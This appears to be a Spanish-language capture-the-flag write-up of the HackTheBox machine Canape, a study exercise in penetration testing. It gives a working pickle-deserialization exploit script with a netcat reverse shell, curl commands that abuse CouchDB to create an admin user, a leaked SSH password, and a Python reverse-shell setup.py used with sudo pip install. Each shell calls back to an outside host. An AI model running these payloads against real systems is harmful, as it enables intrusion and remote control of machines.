· Manuel López Pérez · hackthebox  · 4 min read

WriteUp - Canape (HackTheBox)

Write-up de Canape (HackTheBox). Máquina Linux intermedia que explota una deserialización insegura de pickle en un sitio Flask + CouchDB. Incluye RCE vía XXE-like en pickle, enumeración de CouchDB y escalada a root abusando de sudo pip install.

Write-up de Canape (HackTheBox). Máquina Linux intermedia que explota una deserialización insegura de pickle en un sitio Flask + CouchDB. Incluye RCE vía XXE-like en pickle, enumeración de CouchDB y escalada a root abusando de sudo pip install.

En este post haremos la máquina Canape de HackTheBox. Es una maquina Linux de un nivel medio y una de mis favoritas. Mi nick en HackTheBox es: manulqwerty Si tenéis alguna proposición o corrección no dudéis en dejar un comentario, así aprendemos todos.

Write-Up

Enumeración

Como siempre, lo primero sera un escaneo de todos los puertos con nmap:

nmap -p- 10.10.10.70 nmap -sC -sV -p80,65535 10.10.10.70

Como leemos en la salida del nmap, hay un git que podría tener algo interesante. Vamos a descargarlo para revisarlo:

git clone http://git.canape.htb

Añadimos la linea ‘10.10.10.70 git.canape.htb canape.htb’ a nuestro fichero /etc/hosts Ahora vamos a revisar la web: Se trata de una Fan Page de los Simpsons. Vamos a ver que hay en el git: Lo único interesante parece ser el fichero init.py :

 import couchdb import string import random import base64 import cPickle from flask import Flask, render_template, request from hashlib import md5

app = Flask(__name__) app.config.update( DATABASE = "simpsons" ) db = couchdb.Server("http://localhost:5984/")[app.config["DATABASE"]]

@app.errorhandler(404) def page_not_found(e): if random.randrange(0, 2) > 0: return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(random.randrange(50, 250))) else: return render_template("index.html")

@app.route("/") def index(): return render_template("index.html")

@app.route("/quotes") def quotes(): quotes = [] for id in db: quotes.append({"title": db[id]["character"], "text": db[id]["quote"]}) return render_template('quotes.html', entries=quotes)

WHITELIST = [ "homer", "marge", "bart", "lisa", "maggie", "moe", "carl", "krusty" ]

@app.route("/submit", methods=["GET", "POST"]) def submit(): error = None success = None

if request.method == "POST": try: char = request.form["character"] quote = request.form["quote"] if not char or not quote: error = True elif not any(c.lower() in char.lower() for c in WHITELIST): error = True else: # TODO - Pickle into dictionary instead, `check` is ready p_id = md5(char + quote).hexdigest() outfile = open("/tmp/" + p_id + ".p", "wb") outfile.write(char + quote) outfile.close() success = True except Exception as ex: error = True

return render_template("submit.html", error=error, success=success)

@app.route("/check", methods=["POST"]) def check(): path = "/tmp/" + request.form["id"] + ".p" data = open(path, "rb").read()

if "p1" in data: item = cPickle.loads(data) else: item = data

return "Still reviewing: " + item

if __name__ == "__main__": app.run()

En este fichero vemos el funcionamiento del portal (http://canape.htb). Vemos que en el campo ‘char’ del /submit debemos añadir alguno de los elementos de WHITELIST, en cambio el campo ‘quote’ no tiene ninguna restricción y podemos incluir lo que queramos. Se creará un fichero en /tmp cuyo nombre será char + quote en MD5 y con la extensión .p que corresponde con la extensión de un fichero Pickle, el contenido de este fichero será char + quote. Además vemos que si hacemos una POST request adecuada al /check (el parámetro id debe ser el char+quote en MD5 que habremos enviado al /submit), el sistema ejecutará el método cPickle.loads del contenido del fichero que se crea en el /submit.

Vamos a buscar vulnerabilidades de Pickle: Encontramos: https://lincolnloop.com/blog/playing-pickle-security/ En esta página encontramos un pequeño script que nos permitira crear nuestro payload:

 import os import cPickle

# Exploit that we want the target to unpickle class Exploit(object): def __reduce__(self): return (os.system, ('ls',))

shellcode = cPickle.dumps(Exploit()) print shellcode

Como vemos en el gif, cPickle.loads ejecutará como comando del sistema el contenido de shellcode.

Como veiamos en el init.py n el campo ‘char’ de nuestro payload debemos añadir el nombre de algún personaje, veamos como ‘bypassear’ esto: Obviamente el comando ‘homer’ no lo encuentra pero el pwd sí que nos lo ejecuta.

Explotación

Con todas las pruebas anteriores ya podemos crearnos nuestro payload:

 import os import cPickle from hashlib import md5 import requests

class Exploit(object): def __reduce__(self): return (os.system, ('homer:;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.10 7777 >/tmp/f',))

shellcode = cPickle.dumps(Exploit())

requests.post("http://10.10.10.70/submit", data={'character': shellcode.split(":")[0], 'quote': shellcode.split(":")[1]}) requests.post("http://10.10.10.70/check", data={'id': md5(shellcode.split(":")[0] + shellcode.split(":")[1]).hexdigest()})

Post-Explotación

Revisando la salida del LinEnum.sh o mediante netstat vemos que se está escuchando en el puerto 5984, que corresponde con CouchDB.

netstat -plnt

curl http://127.0.0.1:5984

Buscamos vulnerabilidades de CouchDB en la versión 2.0.0 y encontramos https://justi.cz/security/2017/11/14/couchdb-rce-npm.html Que nos permitirá crear un usuario con permisos para leer las bases de datos.

curl -X PUT 'http://localhost:5984/_users/org.couchdb.user:oops' --data-binary '{"type": "user", "name": "manuqwerty","roles": ["_admin"],"roles": [],"password": "password"}' curl http://127.0.0.1:5984/passwords/_all_docs?include_docs=true -u oops:password

En la salida de estos comandos leemos:

"item":"ssh","password":"0B4jyA0xtytZi7esBNGp","user"

En el fichero /etc/passwd encontramos que existe un usuario homer:

Una vez somos homer podemos acceder al primer flag. El siguiente paso será ver si podemos ejecutar algo como root:

sudo -l

Como veis podemos ejecutar pip install * como root! Abusando de esto, para leer el flag nos bastará con:

sudo pip install -r /root/root.txt

Si queremos obtener shell cómo root, podemos crearnos un fichero setup.py malicioso que nos devuelva shell:

import socket
import subprocess
import os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("10.10.14.10",8080)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

    Share:
    Back to Blog

    Related Posts

    View All Posts »
    WriteUp – Cascade (HackTheBox)

    WriteUp – Cascade (HackTheBox)

    Cascade write-up (HackTheBox): Windows media machine that exploits LDAP to enumerate users and hidden attributes, obtains VNC credentials from log, reverses .NET binary for AES key, and recovers admin password from deleted objects in Active Directory Recycle Bin.

    WriteUp – Cascade (HackTheBox)

    WriteUp – Cascade (HackTheBox)

    Write-up de Cascade (HackTheBox): máquina Windows media que explota LDAP para enumerar usuarios y atributos ocultos, obtiene credenciales de VNC en registro, revierte binario .NET para clave AES, y recupera contraseña de admin de objetos eliminados en Active Directory Recycle Bin.

    HackTheBox Challenges – Web: HDC

    HackTheBox Challenges – Web: HDC

    First web challenge in the HackTheBox series completed. We learn how to bypass a hardcoded login in JavaScript, discover a secret area with a list of emails, and use Intruder (ZAP or Burp) to find the special address that reveals the flag.

    Retos HackTheBox – Web: HDC

    Retos HackTheBox – Web: HDC

    Primer reto web de la serie HackTheBox retirados. Aprendemos a bypassar un login hardcoded en JavaScript, descubrir un área secreta con una lista de emails y usar Intruder (ZAP o Burp) para encontrar la dirección especial que revela la flag.